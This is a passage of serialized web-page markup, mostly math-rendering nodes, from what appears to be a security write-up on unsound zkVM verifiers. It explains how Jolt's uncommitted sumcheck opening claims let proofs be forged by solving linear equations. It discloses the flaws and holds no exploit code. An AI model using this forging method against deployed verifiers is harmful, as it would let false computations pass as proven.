",{"type":23,"tag":94,"props":114364,"children":114366},{"className":114365},[3237,3238],[114367],{"type":23,"tag":314,"props":114368,"children":114370},{"className":114369},[3243],[114371],{"type":23,"tag":314,"props":114372,"children":114374},{"className":114373,"ariaHidden":1481},[3248],[114375,114404,114431,114459],{"type":23,"tag":314,"props":114376,"children":114378},{"className":114377},[3253],[114379,114384,114391,114395,114400],{"type":23,"tag":314,"props":114380,"children":114383},{"className":114381,"style":114382},[3258],"height:0.4445em;",[],{"type":23,"tag":314,"props":114385,"children":114388},{"className":114386,"style":114387},[3264,20825],"margin-right:0.0037em;",[114389],{"type":28,"value":114390},"α",{"type":23,"tag":314,"props":114392,"children":114394},{"className":114393,"style":3345},[3344],[],{"type":23,"tag":314,"props":114396,"children":114398},{"className":114397},[3350],[114399],{"type":28,"value":110561},{"type":23,"tag":314,"props":114401,"children":114403},{"className":114402,"style":3345},[3344],[],{"type":23,"tag":314,"props":114405,"children":114407},{"className":114406},[3253],[114408,114413,114418,114422,114427],{"type":23,"tag":314,"props":114409,"children":114412},{"className":114410,"style":114411},[3258],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":23,"tag":314,"props":114414,"children":114416},{"className":114415,"style":107497},[3264,20825],[114417],{"type":28,"value":107821},{"type":23,"tag":314,"props":114419,"children":114421},{"className":114420,"style":3345},[3344],[],{"type":23,"tag":314,"props":114423,"children":114425},{"className":114424},[3350],[114426],{"type":28,"value":1130},{"type":23,"tag":314,"props":114428,"children":114430},{"className":114429,"style":3345},[3344],[],{"type":23,"tag":314,"props":114432,"children":114434},{"className":114433},[3253],[114435,114439,114446,114450,114455],{"type":23,"tag":314,"props":114436,"children":114438},{"className":114437,"style":114354},[3258],[],{"type":23,"tag":314,"props":114440,"children":114443},{"className":114441,"style":114442},[3264,20825],"margin-right:0.05278em;",[114444],{"type":28,"value":114445},"β",{"type":23,"tag":314,"props":114447,"children":114449},{"className":114448,"style":3442},[3344],[],{"type":23,"tag":314,"props":114451,"children":114453},{"className":114452},[3447],[114454],{"type":28,"value":1102},{"type":23,"tag":314,"props":114456,"children":114458},{"className":114457,"style":3442},[3344],[],{"type":23,"tag":314,"props":114460,"children":114462},{"className":114461},[3253],[114463,114467],{"type":23,"tag":314,"props":114464,"children":114466},{"className":114465,"style":114319},[3258],[],{"type":23,"tag":314,"props":114468,"children":114470},{"className":114469},[3264,28],[114471],{"type":23,"tag":314,"props":114472,"children":114474},{"className":114473},[3264],[114475],{"type":28,"value":114330},{"type":23,"tag":88,"props":114477,"children":114478},{},[114479,114481],{"type":28,"value":114480},"Solve: ",{"type":23,"tag":94,"props":114482,"children":114484},{"className":114483},[3237,3238],[114485],{"type":23,"tag":314,"props":114486,"children":114488},{"className":114487},[3243],[114489],{"type":23,"tag":314,"props":114490,"children":114492},{"className":114491,"ariaHidden":1481},[3248],[114493,114519,114554],{"type":23,"tag":314,"props":114494,"children":114496},{"className":114495},[3253],[114497,114501,114506,114510,114515],{"type":23,"tag":314,"props":114498,"children":114500},{"className":114499,"style":20820},[3258],[],{"type":23,"tag":314,"props":114502,"children":114504},{"className":114503,"style":107497},[3264,20825],[114505],{"type":28,"value":107821},{"type":23,"tag":314,"props":114507,"children":114509},{"className":114508,"style":3442},[3344],[],{"type":23,"tag":314,"props":114511,"children":114513},{"className":114512},[3447],[114514],{"type":28,"value":1102},{"type":23,"tag":314,"props":114516,"children":114518},{"className":114517,"style":3442},[3344],[],{"type":23,"tag":314,"props":114520,"children":114522},{"className":114521},[3253],[114523,114527,114532,114541,114545,114550],{"type":23,"tag":314,"props":114524,"children":114526},{"className":114525,"style":3365},[3258],[],{"type":23,"tag":314,"props":114528,"children":114530},{"className":114529},[20954],[114531],{"type":28,"value":341},{"type":23,"tag":314,"props":114533,"children":114535},{"className":114534},[3264,28],[114536],{"type":23,"tag":314,"props":114537,"children":114539},{"className":114538},[3264],[114540],{"type":28,"value":114330},{"type":23,"tag":314,"props":114542,"children":114544},{"className":114543,"style":3345},[3344],[],{"type":23,"tag":314,"props":114546,"children":114548},{"className":114547},[3350],[114549],{"type":28,"value":3324},{"type":23,"tag":314,"props":114551,"children":114553},{"className":114552,"style":3345},[3344],[],{"type":23,"tag":314,"props":114555,"children":114557},{"className":114556},[3253],[114558,114562,114567,114572,114577],{"type":23,"tag":314,"props":114559,"children":114561},{"className":114560,"style":3365},[3258],[],{"type":23,"tag":314,"props":114563,"children":114565},{"className":114564,"style":114442},[3264,20825],[114566],{"type":28,"value":114445},{"type":23,"tag":314,"props":114568,"children":114570},{"className":114569},[20976],[114571],{"type":28,"value":431},{"type":23,"tag":314,"props":114573,"children":114575},{"className":114574},[3264],[114576],{"type":28,"value":3835},{"type":23,"tag":314,"props":114578,"children":114580},{"className":114579,"style":114387},[3264,20825],[114581],{"type":28,"value":114390},{"type":23,"tag":24,"props":114583,"children":114584},{},[114585],{"type":28,"value":114586},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":23,"tag":24,"props":114588,"children":114589},{},[114590,114592,114670],{"type":28,"value":114591},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":23,"tag":94,"props":114593,"children":114595},{"className":114594},[3237,3238],[114596],{"type":23,"tag":314,"props":114597,"children":114599},{"className":114598},[3243],[114600],{"type":23,"tag":314,"props":114601,"children":114603},{"className":114602,"ariaHidden":1481},[3248],[114604],{"type":23,"tag":314,"props":114605,"children":114607},{"className":114606},[3253],[114608,114613,114619,114624,114665],{"type":23,"tag":314,"props":114609,"children":114612},{"className":114610,"style":114611},[3258],"height:1.0641em;vertical-align:-0.25em;",[],{"type":23,"tag":314,"props":114614,"children":114616},{"className":114615,"style":92299},[3264,20825],[114617],{"type":28,"value":114618},"O",{"type":23,"tag":314,"props":114620,"children":114622},{"className":114621},[20954],[114623],{"type":28,"value":341},{"type":23,"tag":314,"props":114625,"children":114627},{"className":114626},[3264],[114628,114633],{"type":23,"tag":314,"props":114629,"children":114631},{"className":114630},[3264,20825],[114632],{"type":28,"value":55654},{"type":23,"tag":314,"props":114634,"children":114636},{"className":114635},[3280],[114637],{"type":23,"tag":314,"props":114638,"children":114640},{"className":114639},[3285],[114641],{"type":23,"tag":314,"props":114642,"children":114644},{"className":114643},[3290],[114645],{"type":23,"tag":314,"props":114646,"children":114648},{"className":114647,"style":3259},[3295],[114649],{"type":23,"tag":314,"props":114650,"children":114651},{"style":3299},[114652,114656],{"type":23,"tag":314,"props":114653,"children":114655},{"className":114654,"style":3305},[3304],[],{"type":23,"tag":314,"props":114657,"children":114659},{"className":114658},[3310,3311,3312,3313],[114660],{"type":23,"tag":314,"props":114661,"children":114663},{"className":114662},[3264,3313],[114664],{"type":28,"value":16535},{"type":23,"tag":314,"props":114666,"children":114668},{"className":114667},[20976],[114669],{"type":28,"value":431},{"type":28,"value":114671}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":23,"tag":18031,"props":114673,"children":114674},{},[],{"type":23,"tag":61,"props":114676,"children":114678},{"id":114677},"the-six-broken-systems",[114679],{"type":28,"value":114680},"The Six Broken Systems",{"type":23,"tag":24,"props":114682,"children":114683},{},[114684],{"type":23,"tag":197,"props":114685,"children":114688},{"alt":114686,"src":114687},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":23,"tag":24,"props":114690,"children":114691},{},[114692],{"type":28,"value":114693},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":23,"tag":18031,"props":114695,"children":114696},{},[],{"type":23,"tag":837,"props":114698,"children":114700},{"id":114699},"jolt-a16z",[114701],{"type":28,"value":114702},"Jolt (a16z)",{"type":23,"tag":24,"props":114704,"children":114705},{},[114706],{"type":28,"value":114707},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":23,"tag":24,"props":114709,"children":114710},{},[114711],{"type":23,"tag":721,"props":114712,"children":114713},{},[114714],{"type":28,"value":114715},"The proof structure:",{"type":23,"tag":304,"props":114717,"children":114719},{"code":114718},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[114720],{"type":23,"tag":94,"props":114721,"children":114722},{"__ignoreMap":7},[114723],{"type":28,"value":114718},{"type":23,"tag":24,"props":114725,"children":114726},{},[114727],{"type":23,"tag":721,"props":114728,"children":114729},{},[114730],{"type":28,"value":114731},"The verification flow:",{"type":23,"tag":24,"props":114733,"children":114734},{},[114735],{"type":23,"tag":197,"props":114736,"children":114739},{"alt":114737,"src":114738},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":23,"tag":24,"props":114741,"children":114742},{},[114743,114748,114750,114756,114758,114764,114766,114771],{"type":23,"tag":721,"props":114744,"children":114745},{},[114746],{"type":28,"value":114747},"The bug:",{"type":28,"value":114749}," Each sumcheck instance provides an ",{"type":23,"tag":94,"props":114751,"children":114753},{"className":114752},[],[114754],{"type":28,"value":114755},"input_claim",{"type":28,"value":114757},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":23,"tag":94,"props":114759,"children":114761},{"className":114760},[],[114762],{"type":28,"value":114763},"opening_claims",{"type":28,"value":114765}," in the proof, but they were ",{"type":23,"tag":721,"props":114767,"children":114768},{},[114769],{"type":28,"value":114770},"never absorbed into the transcript",{"type":28,"value":114772}," before the batching coefficients were derived.",{"type":23,"tag":24,"props":114774,"children":114775},{},[114776],{"type":23,"tag":197,"props":114777,"children":114780},{"alt":114778,"src":114779},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":23,"tag":24,"props":114782,"children":114783},{},[114784],{"type":23,"tag":721,"props":114785,"children":114786},{},[114787],{"type":28,"value":114788},"How sumcheck uses opening_claims:",{"type":23,"tag":24,"props":114790,"children":114791},{},[114792,114794,114800,114802,114879],{"type":28,"value":114793},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":23,"tag":94,"props":114795,"children":114797},{"className":114796},[],[114798],{"type":28,"value":114799},"BatchedClaim",{"type":28,"value":114801}," by taking a random linear combination of the individual claims ",{"type":23,"tag":94,"props":114803,"children":114805},{"className":114804},[3237,3238],[114806],{"type":23,"tag":314,"props":114807,"children":114809},{"className":114808},[3243],[114810],{"type":23,"tag":314,"props":114811,"children":114813},{"className":114812,"ariaHidden":1481},[3248],[114814],{"type":23,"tag":314,"props":114815,"children":114817},{"className":114816},[3253],[114818,114822],{"type":23,"tag":314,"props":114819,"children":114821},{"className":114820,"style":110296},[3258],[],{"type":23,"tag":314,"props":114823,"children":114825},{"className":114824},[3264],[114826,114831],{"type":23,"tag":314,"props":114827,"children":114829},{"className":114828,"style":92533},[3264,20825],[114830],{"type":28,"value":92536},{"type":23,"tag":314,"props":114832,"children":114834},{"className":114833},[3280],[114835],{"type":23,"tag":314,"props":114836,"children":114838},{"className":114837},[3285,20879],[114839,114868],{"type":23,"tag":314,"props":114840,"children":114842},{"className":114841},[3290],[114843,114863],{"type":23,"tag":314,"props":114844,"children":114846},{"className":114845,"style":92828},[3295],[114847],{"type":23,"tag":314,"props":114848,"children":114849},{"style":109728},[114850,114854],{"type":23,"tag":314,"props":114851,"children":114853},{"className":114852,"style":3305},[3304],[],{"type":23,"tag":314,"props":114855,"children":114857},{"className":114856},[3310,3311,3312,3313],[114858],{"type":23,"tag":314,"props":114859,"children":114861},{"className":114860},[3264,20825,3313],[114862],{"type":28,"value":2993},{"type":23,"tag":314,"props":114864,"children":114866},{"className":114865},[20982],[114867],{"type":28,"value":20985},{"type":23,"tag":314,"props":114869,"children":114871},{"className":114870},[3290],[114872],{"type":23,"tag":314,"props":114873,"children":114875},{"className":114874,"style":92382},[3295],[114876],{"type":23,"tag":314,"props":114877,"children":114878},{},[],{"type":28,"value":3746},{"type":23,"tag":24,"props":114881,"children":114882},{},[114883],{"type":23,"tag":94,"props":114884,"children":114886},{"className":114885},[3237,3238],[114887],{"type":23,"tag":314,"props":114888,"children":114890},{"className":114889},[3243],[114891],{"type":23,"tag":314,"props":114892,"children":114894},{"className":114893,"ariaHidden":1481},[3248],[114895,114925,115066],{"type":23,"tag":314,"props":114896,"children":114898},{"className":114897},[3253],[114899,114903,114912,114916,114921],{"type":23,"tag":314,"props":114900,"children":114902},{"className":114901,"style":92214},[3258],[],{"type":23,"tag":314,"props":114904,"children":114906},{"className":114905},[3264,28],[114907],{"type":23,"tag":314,"props":114908,"children":114910},{"className":114909},[3264],[114911],{"type":28,"value":114799},{"type":23,"tag":314,"props":114913,"children":114915},{"className":114914,"style":3442},[3344],[],{"type":23,"tag":314,"props":114917,"children":114919},{"className":114918},[3447],[114920],{"type":28,"value":1102},{"type":23,"tag":314,"props":114922,"children":114924},{"className":114923,"style":3442},[3344],[],{"type":23,"tag":314,"props":114926,"children":114928},{"className":114927},[3253],[114929,114934,114991,114995,115053,115057,115062],{"type":23,"tag":314,"props":114930,"children":114933},{"className":114931,"style":114932},[3258],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":23,"tag":314,"props":114935,"children":114937},{"className":114936},[20861],[114938,114943],{"type":23,"tag":314,"props":114939,"children":114941},{"className":114940,"style":20868},[20861,20866,20867],[114942],{"type":28,"value":108094},{"type":23,"tag":314,"props":114944,"children":114946},{"className":114945},[3280],[114947],{"type":23,"tag":314,"props":114948,"children":114950},{"className":114949},[3285,20879],[114951,114980],{"type":23,"tag":314,"props":114952,"children":114954},{"className":114953},[3290],[114955,114975],{"type":23,"tag":314,"props":114956,"children":114958},{"className":114957,"style":113506},[3295],[114959],{"type":23,"tag":314,"props":114960,"children":114961},{"style":20892},[114962,114966],{"type":23,"tag":314,"props":114963,"children":114965},{"className":114964,"style":3305},[3304],[],{"type":23,"tag":314,"props":114967,"children":114969},{"className":114968},[3310,3311,3312,3313],[114970],{"type":23,"tag":314,"props":114971,"children":114973},{"className":114972},[3264,20825,3313],[114974],{"type":28,"value":2993},{"type":23,"tag":314,"props":114976,"children":114978},{"className":114977},[20982],[114979],{"type":28,"value":20985},{"type":23,"tag":314,"props":114981,"children":114983},{"className":114982},[3290],[114984],{"type":23,"tag":314,"props":114985,"children":114987},{"className":114986,"style":113786},[3295],[114988],{"type":23,"tag":314,"props":114989,"children":114990},{},[],{"type":23,"tag":314,"props":114992,"children":114994},{"className":114993,"style":3383},[3344],[],{"type":23,"tag":314,"props":114996,"children":114998},{"className":114997},[3264],[114999,115004],{"type":23,"tag":314,"props":115000,"children":115002},{"className":115001,"style":114387},[3264,20825],[115003],{"type":28,"value":114390},{"type":23,"tag":314,"props":115005,"children":115007},{"className":115006},[3280],[115008],{"type":23,"tag":314,"props":115009,"children":115011},{"className":115010},[3285,20879],[115012,115042],{"type":23,"tag":314,"props":115013,"children":115015},{"className":115014},[3290],[115016,115037],{"type":23,"tag":314,"props":115017,"children":115019},{"className":115018,"style":92828},[3295],[115020],{"type":23,"tag":314,"props":115021,"children":115023},{"style":115022},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[115024,115028],{"type":23,"tag":314,"props":115025,"children":115027},{"className":115026,"style":3305},[3304],[],{"type":23,"tag":314,"props":115029,"children":115031},{"className":115030},[3310,3311,3312,3313],[115032],{"type":23,"tag":314,"props":115033,"children":115035},{"className":115034},[3264,20825,3313],[115036],{"type":28,"value":2993},{"type":23,"tag":314,"props":115038,"children":115040},{"className":115039},[20982],[115041],{"type":28,"value":20985},{"type":23,"tag":314,"props":115043,"children":115045},{"className":115044},[3290],[115046],{"type":23,"tag":314,"props":115047,"children":115049},{"className":115048,"style":92382},[3295],[115050],{"type":23,"tag":314,"props":115051,"children":115052},{},[],{"type":23,"tag":314,"props":115054,"children":115056},{"className":115055,"style":3345},[3344],[],{"type":23,"tag":314,"props":115058,"children":115060},{"className":115059},[3350],[115061],{"type":28,"value":110561},{"type":23,"tag":314,"props":115063,"children":115065},{"className":115064,"style":3345},[3344],[],{"type":23,"tag":314,"props":115067,"children":115069},{"className":115068},[3253],[115070,115074],{"type":23,"tag":314,"props":115071,"children":115073},{"className":115072,"style":110296},[3258],[],{"type":23,"tag":314,"props":115075,"children":115077},{"className":115076},[3264],[115078,115083],{"type":23,"tag":314,"props":115079,"children":115081},{"className":115080,"style":92533},[3264,20825],[115082],{"type":28,"value":92536},{"type":23,"tag":314,"props":115084,"children":115086},{"className":115085},[3280],[115087],{"type":23,"tag":314,"props":115088,"children":115090},{"className":115089},[3285,20879],[115091,115120],{"type":23,"tag":314,"props":115092,"children":115094},{"className":115093},[3290],[115095,115115],{"type":23,"tag":314,"props":115096,"children":115098},{"className":115097,"style":92828},[3295],[115099],{"type":23,"tag":314,"props":115100,"children":115101},{"style":109728},[115102,115106],{"type":23,"tag":314,"props":115103,"children":115105},{"className":115104,"style":3305},[3304],[],{"type":23,"tag":314,"props":115107,"children":115109},{"className":115108},[3310,3311,3312,3313],[115110],{"type":23,"tag":314,"props":115111,"children":115113},{"className":115112},[3264,20825,3313],[115114],{"type":28,"value":2993},{"type":23,"tag":314,"props":115116,"children":115118},{"className":115117},[20982],[115119],{"type":28,"value":20985},{"type":23,"tag":314,"props":115121,"children":115123},{"className":115122},[3290],[115124],{"type":23,"tag":314,"props":115125,"children":115127},{"className":115126,"style":92382},[3295],[115128],{"type":23,"tag":314,"props":115129,"children":115130},{},[],{"type":23,"tag":24,"props":115132,"children":115133},{},[115134,115136,115213,115215,115220,115222,115299,115301,115378,115380,115457],{"type":28,"value":115135},"where ",{"type":23,"tag":94,"props":115137,"children":115139},{"className":115138},[3237,3238],[115140],{"type":23,"tag":314,"props":115141,"children":115143},{"className":115142},[3243],[115144],{"type":23,"tag":314,"props":115145,"children":115147},{"className":115146,"ariaHidden":1481},[3248],[115148],{"type":23,"tag":314,"props":115149,"children":115151},{"className":115150},[3253],[115152,115156],{"type":23,"tag":314,"props":115153,"children":115155},{"className":115154,"style":109269},[3258],[],{"type":23,"tag":314,"props":115157,"children":115159},{"className":115158},[3264],[115160,115165],{"type":23,"tag":314,"props":115161,"children":115163},{"className":115162,"style":114387},[3264,20825],[115164],{"type":28,"value":114390},{"type":23,"tag":314,"props":115166,"children":115168},{"className":115167},[3280],[115169],{"type":23,"tag":314,"props":115170,"children":115172},{"className":115171},[3285,20879],[115173,115202],{"type":23,"tag":314,"props":115174,"children":115176},{"className":115175},[3290],[115177,115197],{"type":23,"tag":314,"props":115178,"children":115180},{"className":115179,"style":92828},[3295],[115181],{"type":23,"tag":314,"props":115182,"children":115183},{"style":115022},[115184,115188],{"type":23,"tag":314,"props":115185,"children":115187},{"className":115186,"style":3305},[3304],[],{"type":23,"tag":314,"props":115189,"children":115191},{"className":115190},[3310,3311,3312,3313],[115192],{"type":23,"tag":314,"props":115193,"children":115195},{"className":115194},[3264,20825,3313],[115196],{"type":28,"value":2993},{"type":23,"tag":314,"props":115198,"children":115200},{"className":115199},[20982],[115201],{"type":28,"value":20985},{"type":23,"tag":314,"props":115203,"children":115205},{"className":115204},[3290],[115206],{"type":23,"tag":314,"props":115207,"children":115209},{"className":115208,"style":92382},[3295],[115210],{"type":23,"tag":314,"props":115211,"children":115212},{},[],{"type":28,"value":115214}," are random coefficients derived from the transcript. Since ",{"type":23,"tag":94,"props":115216,"children":115218},{"className":115217},[],[115219],{"type":28,"value":114763},{"type":28,"value":115221}," (containing ",{"type":23,"tag":94,"props":115223,"children":115225},{"className":115224},[3237,3238],[115226],{"type":23,"tag":314,"props":115227,"children":115229},{"className":115228},[3243],[115230],{"type":23,"tag":314,"props":115231,"children":115233},{"className":115232,"ariaHidden":1481},[3248],[115234],{"type":23,"tag":314,"props":115235,"children":115237},{"className":115236},[3253],[115238,115242],{"type":23,"tag":314,"props":115239,"children":115241},{"className":115240,"style":110296},[3258],[],{"type":23,"tag":314,"props":115243,"children":115245},{"className":115244},[3264],[115246,115251],{"type":23,"tag":314,"props":115247,"children":115249},{"className":115248,"style":92533},[3264,20825],[115250],{"type":28,"value":92536},{"type":23,"tag":314,"props":115252,"children":115254},{"className":115253},[3280],[115255],{"type":23,"tag":314,"props":115256,"children":115258},{"className":115257},[3285,20879],[115259,115288],{"type":23,"tag":314,"props":115260,"children":115262},{"className":115261},[3290],[115263,115283],{"type":23,"tag":314,"props":115264,"children":115266},{"className":115265,"style":92828},[3295],[115267],{"type":23,"tag":314,"props":115268,"children":115269},{"style":109728},[115270,115274],{"type":23,"tag":314,"props":115271,"children":115273},{"className":115272,"style":3305},[3304],[],{"type":23,"tag":314,"props":115275,"children":115277},{"className":115276},[3310,3311,3312,3313],[115278],{"type":23,"tag":314,"props":115279,"children":115281},{"className":115280},[3264,20825,3313],[115282],{"type":28,"value":2993},{"type":23,"tag":314,"props":115284,"children":115286},{"className":115285},[20982],[115287],{"type":28,"value":20985},{"type":23,"tag":314,"props":115289,"children":115291},{"className":115290},[3290],[115292],{"type":23,"tag":314,"props":115293,"children":115295},{"className":115294,"style":92382},[3295],[115296],{"type":23,"tag":314,"props":115297,"children":115298},{},[],{"type":28,"value":115300},") were not in the transcript, the ",{"type":23,"tag":94,"props":115302,"children":115304},{"className":115303},[3237,3238],[115305],{"type":23,"tag":314,"props":115306,"children":115308},{"className":115307},[3243],[115309],{"type":23,"tag":314,"props":115310,"children":115312},{"className":115311,"ariaHidden":1481},[3248],[115313],{"type":23,"tag":314,"props":115314,"children":115316},{"className":115315},[3253],[115317,115321],{"type":23,"tag":314,"props":115318,"children":115320},{"className":115319,"style":109269},[3258],[],{"type":23,"tag":314,"props":115322,"children":115324},{"className":115323},[3264],[115325,115330],{"type":23,"tag":314,"props":115326,"children":115328},{"className":115327,"style":114387},[3264,20825],[115329],{"type":28,"value":114390},{"type":23,"tag":314,"props":115331,"children":115333},{"className":115332},[3280],[115334],{"type":23,"tag":314,"props":115335,"children":115337},{"className":115336},[3285,20879],[115338,115367],{"type":23,"tag":314,"props":115339,"children":115341},{"className":115340},[3290],[115342,115362],{"type":23,"tag":314,"props":115343,"children":115345},{"className":115344,"style":92828},[3295],[115346],{"type":23,"tag":314,"props":115347,"children":115348},{"style":115022},[115349,115353],{"type":23,"tag":314,"props":115350,"children":115352},{"className":115351,"style":3305},[3304],[],{"type":23,"tag":314,"props":115354,"children":115356},{"className":115355},[3310,3311,3312,3313],[115357],{"type":23,"tag":314,"props":115358,"children":115360},{"className":115359},[3264,20825,3313],[115361],{"type":28,"value":2993},{"type":23,"tag":314,"props":115363,"children":115365},{"className":115364},[20982],[115366],{"type":28,"value":20985},{"type":23,"tag":314,"props":115368,"children":115370},{"className":115369},[3290],[115371],{"type":23,"tag":314,"props":115372,"children":115374},{"className":115373,"style":92382},[3295],[115375],{"type":23,"tag":314,"props":115376,"children":115377},{},[],{"type":28,"value":115379}," values are independent of ",{"type":23,"tag":94,"props":115381,"children":115383},{"className":115382},[3237,3238],[115384],{"type":23,"tag":314,"props":115385,"children":115387},{"className":115386},[3243],[115388],{"type":23,"tag":314,"props":115389,"children":115391},{"className":115390,"ariaHidden":1481},[3248],[115392],{"type":23,"tag":314,"props":115393,"children":115395},{"className":115394},[3253],[115396,115400],{"type":23,"tag":314,"props":115397,"children":115399},{"className":115398,"style":110296},[3258],[],{"type":23,"tag":314,"props":115401,"children":115403},{"className":115402},[3264],[115404,115409],{"type":23,"tag":314,"props":115405,"children":115407},{"className":115406,"style":92533},[3264,20825],[115408],{"type":28,"value":92536},{"type":23,"tag":314,"props":115410,"children":115412},{"className":115411},[3280],[115413],{"type":23,"tag":314,"props":115414,"children":115416},{"className":115415},[3285,20879],[115417,115446],{"type":23,"tag":314,"props":115418,"children":115420},{"className":115419},[3290],[115421,115441],{"type":23,"tag":314,"props":115422,"children":115424},{"className":115423,"style":92828},[3295],[115425],{"type":23,"tag":314,"props":115426,"children":115427},{"style":109728},[115428,115432],{"type":23,"tag":314,"props":115429,"children":115431},{"className":115430,"style":3305},[3304],[],{"type":23,"tag":314,"props":115433,"children":115435},{"className":115434},[3310,3311,3312,3313],[115436],{"type":23,"tag":314,"props":115437,"children":115439},{"className":115438},[3264,20825,3313],[115440],{"type":28,"value":2993},{"type":23,"tag":314,"props":115442,"children":115444},{"className":115443},[20982],[115445],{"type":28,"value":20985},{"type":23,"tag":314,"props":115447,"children":115449},{"className":115448},[3290],[115450],{"type":23,"tag":314,"props":115451,"children":115453},{"className":115452,"style":92382},[3295],[115454],{"type":23,"tag":314,"props":115455,"children":115456},{},[],{"type":28,"value":282},{"type":23,"tag":24,"props":115459,"children":115460},{},[115461],{"type":23,"tag":721,"props":115462,"children":115463},{},[115464],{"type":28,"value":115465},"Why it's linear:",{"type":23,"tag":24,"props":115467,"children":115468},{},[115469,115471],{"type":28,"value":115470},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":23,"tag":94,"props":115472,"children":115474},{"className":115473},[3237,3238],[115475],{"type":23,"tag":314,"props":115476,"children":115478},{"className":115477},[3243],[115479],{"type":23,"tag":314,"props":115480,"children":115482},{"className":115481,"ariaHidden":1481},[3248],[115483],{"type":23,"tag":314,"props":115484,"children":115486},{"className":115485},[3253],[115487,115491],{"type":23,"tag":314,"props":115488,"children":115490},{"className":115489,"style":20820},[3258],[],{"type":23,"tag":314,"props":115492,"children":115494},{"className":115493,"style":92533},[3264,20825],[115495],{"type":28,"value":92536},{"type":23,"tag":24,"props":115497,"children":115498},{},[115499],{"type":23,"tag":94,"props":115500,"children":115502},{"className":115501},[3237,3238],[115503],{"type":23,"tag":314,"props":115504,"children":115506},{"className":115505},[3243],[115507],{"type":23,"tag":314,"props":115508,"children":115510},{"className":115509,"ariaHidden":1481},[3248],[115511,115601,115627,115653],{"type":23,"tag":314,"props":115512,"children":115514},{"className":115513},[3253],[115515,115519,115588,115592,115597],{"type":23,"tag":314,"props":115516,"children":115518},{"className":115517,"style":110296},[3258],[],{"type":23,"tag":314,"props":115520,"children":115522},{"className":115521},[3264],[115523,115529],{"type":23,"tag":314,"props":115524,"children":115526},{"className":115525,"style":21357},[3264,20825],[115527],{"type":28,"value":115528},"C",{"type":23,"tag":314,"props":115530,"children":115532},{"className":115531},[3280],[115533],{"type":23,"tag":314,"props":115534,"children":115536},{"className":115535},[3285,20879],[115537,115577],{"type":23,"tag":314,"props":115538,"children":115540},{"className":115539},[3290],[115541,115572],{"type":23,"tag":314,"props":115542,"children":115545},{"className":115543,"style":115544},[3295],"height:0.3361em;",[115546],{"type":23,"tag":314,"props":115547,"children":115549},{"style":115548},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[115550,115554],{"type":23,"tag":314,"props":115551,"children":115553},{"className":115552,"style":3305},[3304],[],{"type":23,"tag":314,"props":115555,"children":115557},{"className":115556},[3310,3311,3312,3313],[115558],{"type":23,"tag":314,"props":115559,"children":115561},{"className":115560},[3264,3313],[115562],{"type":23,"tag":314,"props":115563,"children":115565},{"className":115564},[3264,28,3313],[115566],{"type":23,"tag":314,"props":115567,"children":115569},{"className":115568},[3264,3313],[115570],{"type":28,"value":115571},"final",{"type":23,"tag":314,"props":115573,"children":115575},{"className":115574},[20982],[115576],{"type":28,"value":20985},{"type":23,"tag":314,"props":115578,"children":115580},{"className":115579},[3290],[115581],{"type":23,"tag":314,"props":115582,"children":115584},{"className":115583,"style":92382},[3295],[115585],{"type":23,"tag":314,"props":115586,"children":115587},{},[],{"type":23,"tag":314,"props":115589,"children":115591},{"className":115590,"style":3442},[3344],[],{"type":23,"tag":314,"props":115593,"children":115595},{"className":115594},[3447],[115596],{"type":28,"value":1102},{"type":23,"tag":314,"props":115598,"children":115600},{"className":115599,"style":3442},[3344],[],{"type":23,"tag":314,"props":115602,"children":115604},{"className":115603},[3253],[115605,115609,115614,115618,115623],{"type":23,"tag":314,"props":115606,"children":115608},{"className":115607,"style":114382},[3258],[],{"type":23,"tag":314,"props":115610,"children":115612},{"className":115611},[3264,20825],[115613],{"type":28,"value":31},{"type":23,"tag":314,"props":115615,"children":115617},{"className":115616,"style":3345},[3344],[],{"type":23,"tag":314,"props":115619,"children":115621},{"className":115620},[3350],[115622],{"type":28,"value":110561},{"type":23,"tag":314,"props":115624,"children":115626},{"className":115625,"style":3345},[3344],[],{"type":23,"tag":314,"props":115628,"children":115630},{"className":115629},[3253],[115631,115635,115640,115644,115649],{"type":23,"tag":314,"props":115632,"children":115634},{"className":115633,"style":114411},[3258],[],{"type":23,"tag":314,"props":115636,"children":115638},{"className":115637,"style":92533},[3264,20825],[115639],{"type":28,"value":92536},{"type":23,"tag":314,"props":115641,"children":115643},{"className":115642,"style":3345},[3344],[],{"type":23,"tag":314,"props":115645,"children":115647},{"className":115646},[3350],[115648],{"type":28,"value":1130},{"type":23,"tag":314,"props":115650,"children":115652},{"className":115651,"style":3345},[3344],[],{"type":23,"tag":314,"props":115654,"children":115656},{"className":115655},[3253],[115657,115661],{"type":23,"tag":314,"props":115658,"children":115660},{"className":115659,"style":92214},[3258],[],{"type":23,"tag":314,"props":115662,"children":115664},{"className":115663},[3264,20825],[115665],{"type":28,"value":2477},{"type":23,"tag":24,"props":115667,"children":115668},{},[115669,115670,115709,115711,115736,115738,115868,115870,115991],{"type":28,"value":115135},{"type":23,"tag":94,"props":115671,"children":115673},{"className":115672},[3237,3238],[115674],{"type":23,"tag":314,"props":115675,"children":115677},{"className":115676},[3243],[115678],{"type":23,"tag":314,"props":115679,"children":115681},{"className":115680,"ariaHidden":1481},[3248],[115682],{"type":23,"tag":314,"props":115683,"children":115685},{"className":115684},[3253],[